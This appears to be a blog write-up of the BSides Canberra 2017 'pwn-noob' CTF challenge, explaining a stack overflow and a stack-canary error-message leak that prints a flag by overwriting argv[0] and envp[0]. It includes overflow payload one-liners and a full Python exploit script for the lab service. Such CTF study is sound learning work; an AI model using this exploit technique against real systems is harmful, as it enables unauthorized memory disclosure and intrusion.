BSides Canberra pwn-noob CTF Write-up

8 minute read Published:

A writeup for the pwn-noob exploit challenge at the BSides Canberra 2017 CTF.
Table of Contents


The first exploitation (pwnable) challenge at the BSides Canberra 2017 CTF was pwn-noob - and clearly, I’m an über-noob because I couldn’t figure out how to pwn it during the comp.

However, a couple of nights later (with a couple of gentle nudges from CTF-organiser extraordinaire OJ), I finally got there! Here’s a brief rundown of the challenge binary, concluding with a script which implements a working exploit.

Note that (almost) all of the BSides Canberra 2017 CTF challenges can be spun up at your leisure using Docker - see OJ's blog and corresponding GitHub repo for more info.

Overview, Manual Inspection and Disassembly

A version of the binary is provided for local inspection and exploit development (noob_download), but the version with the challenge flag runs remotely and needs to be pwned via a network service running on port 6000 on a Docker image.

If you've never attempted a binary exploitation challenge during a CTF before, the idea is usually to try and find an exploitable flaw in a piece of code that can be leveraged into arbitrary code execution. In a typical scenario, you'd then run shellcode via your exploit in order to retrieve a flag from a target machine.

The binary in this case appeared to be a 64-bit ELF executable:

$ file noob_download
noob_download: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.32, BuildID[sha1]=4f4bee3f353654b6ab1343af0af59bf888cc21dc, not stripped

“LSB executable” (to my knowledge) indicates that we’re not dealing with position-independent code (as opposed to “LSB shared object”), so ASLR bypasses weren’t required.

The main method (located at address 0x400686) disassembles as per the following:

Further manual inspection of the binary also revealed the following string in the .rodata section, which looked pretty important…

So - the flag string was located at 0x400800, altough the content of the flag on the challenge server was different, of course (drat!).

Poking the Bear

Time to run the program:

$ ./noob_download
Gimme the data: hello
Go on then, break me: ok then

So, as far as interactivity goes, the program does the following:

  • Reads from stdin using fgets, storing up to 0x20 (32) bytes of input in the statically-allocated array labeled whateva.
  • Reads from stdin again using fgets, this time storing up to 0x190 (400) bytes of input in the stack variable labeled var_28 (by the disassembler).

The whateva label points to a 32-byte area in the .bss section, located at 0x601040:

So, given that we’re able to get 400 bytes of input on the stack at a location only 0x28 (40) bytes from the frame pointer (during the second lot of input), it seemed like we might be in smash-the-stack-for-fun-and-profit territory. To wit:

$ python -c "print '\n' + 'A'*200" | ./noob_download
Gimme the data: Go on then, break me: *** stack smashing detected ***: ./noob_download terminated
Aborted (core dumped)

Fly in the Ointment

Bah, humbug… a stack canary! Note the line of disassembly at 0x400699, which reads a value from fs:[0x28] and subsequently places it on the stack at var_10. The function epilogue checks that this value hasn’t been altered (0x400738 - 0x400745) - if it has, then it calls __stack_chk_fail, which terminates execution.

I checked to see whether the value being checked was static (and hence could simply be placed on the stack in the right spot as part of the payload), but alas, the canary was being randomly generated during each run of the program. As such, I wasn’t going to be able to simply overwrite the saved return pointer and gain code execution.

At this point, I wasn’t really sure what to do next, having never tried to defeat a stack canary before. So, I just started noodling around. Playing around with different payload sizes revealed that the output of the canary check was changing, and in some cases, completely disappearing:

$ python -c "print '\n' + 'A'*263" | ./noob_download
Gimme the data: Go on then, break me: *** stack smashing detected ***:  terminated
Aborted (core dumped)
$ python -c "print '\n' + 'A'*265" | ./noob_download
Gimme the data: Go on then, break me: Segmentation fault (core dumped)

Note that with 263 As in the payload, the filename disappeared from the error message, and with 265 As, the message disappeared altogether.

Crack in the Armor

As it turns out, the binary was compiled using the FORTIFY_SOURCE option, with an old version of gcc which is vulnerable to an information disclosure bug, as per

To understand what’s going on here, consider the following description of what the stack looks like during the execution of main, taken from (Note that lower addresses are shown at the top in this representation.)

local variables of main
saved registers of main
return address of main
stack from startup code
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name

What we’ve done is smashed all the way down from “local variables of main” and overwritten argv[0] in the “argv pointers” section. The canary-checking code appears to be blindly reading the contents of argv[0] to get a pointer to a string for printing out the filename as part of its error message.

That means that we can potentially disclose any strings in the running binary by overwriting argv[0] with a custom location… such as, the flag contents at 0x400800!

After some trial-and-error to get the layout right, I found that the following worked:

$ python -c "print '\n' + 'A'*264 + '\x00\x08\x40\x00\x00\x00\x00\x00'" | ./noob_download
Gimme the data: Go on then, break me: *** stack smashing detected ***: BSIDES_CTF{FLAGISHEREONTHESERVER!} terminated
Aborted (core dumped)

Huzzah! We’ve smashed down to argv[0] and overwritten it with a (64-bit little-endian) pointer to the flag string. Surely all that remains is to add some scaffolding using sockets to connect to the challenge service (see the script at the end for an example of this), deliver our payload and we’re home… right?? #flaglyfe

Onwards to Victory… (eventually)

It turns out, however, that when you fire this exploit against the challenge network service, there’s one more wrinkle to overcome:

$ python
Gimme the data:
Go on then, break me:
  *** $TERM not set. No stack check fail for you! ***

Seems like the server wasn’t going to surrender the flag without the TERM environment variable being specified. Looks like we’d need to overwrite the area where environment variable strings are stored…

As per the stack representation above, after the argv pointers, there’s a “NULL that ends argv[]” and then “environment pointers”: a.k.a. envp[0]. So, we just have to smash down a bit further, past the NULL (which will be 8 bytes for a 64-bit pointer) and then we can overwrite envp[0] with a pointer to something we control, in which we’ll place a string that defines the TERM variable.

I got stuck at this point for aaaaagges, as my initial idea was to place a TERM string in the start of my payload, and then place a pointer back to it at envp[0]. I actually don’t quite understand why this approach wasn’t working - all I can tell you is, don’t try it unless you want to run a serious risk of going insane!

As it turns out, I had been completely overlooking the other (arguably far more obvious) location we have control of - whateva, a.k.a. 0x601040. All that was required was to do read in a TERM string during the first fgets call, overwrite envp[0] with a pointer to it, and we’d be home (sans another nasty “surprise”, anyway).

$ python
Gimme the data:
Go on then, break me:
*** stack smashing detected *** BSIDES_CTF{d3m_st@kk_proTectionz!} terminated

Phew! A script to automate the exploit is shown below.

Exploit Script

import socket
import struct
import sys
# exploit for
def p(addr):
    # encode addresses as 64-bit little-endian
    return struct.pack("<Q", addr)
if len(sys.argv) > 3:
    print "Usage: [host] [port] (defaults to localhost 6000)"
elif len(sys.argv) == 3:
    host = sys.argv[1]
    port = int(sys.argv[2])
elif len(sys.argv) == 2:
    host = sys.argv[1]
    port = 6000
elif len(sys.argv) == 1:
    host = 'localhost'
    port = 6000
envstring = 'TERM=a'   # it doesn't actually matter what you set TERM to,
                       # so long as it's set
flag_addr = 0x400800   # determined by inspecting the binary
buffer_addr = 0x601040 # determined by inspecting the binary
flag_start_len = 264   # determined by trial-and-error
envp_start_len = 8     # skip over 8 bytes of NULL at the end of 
                       # the argv array to get to envp[0]
# newlines required to finish calls to fgets (0x4006e9, 0x40072e)
payload1 = envstring + '\n'
payload2 = 'A'*flag_start_len + p(flag_addr) + 
            'B'*envp_start_len + p(buffer_addr) + '\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Print first prompt, send TERM string, which will be stored at buffer_addr
print s.recv(1024)
# Print second prompt, send stack-smashing junk + argv[0] overwrite 
# + junk + envp[0] overwrite
print s.recv(1024)
# Print out the flag
print s.recv(1024)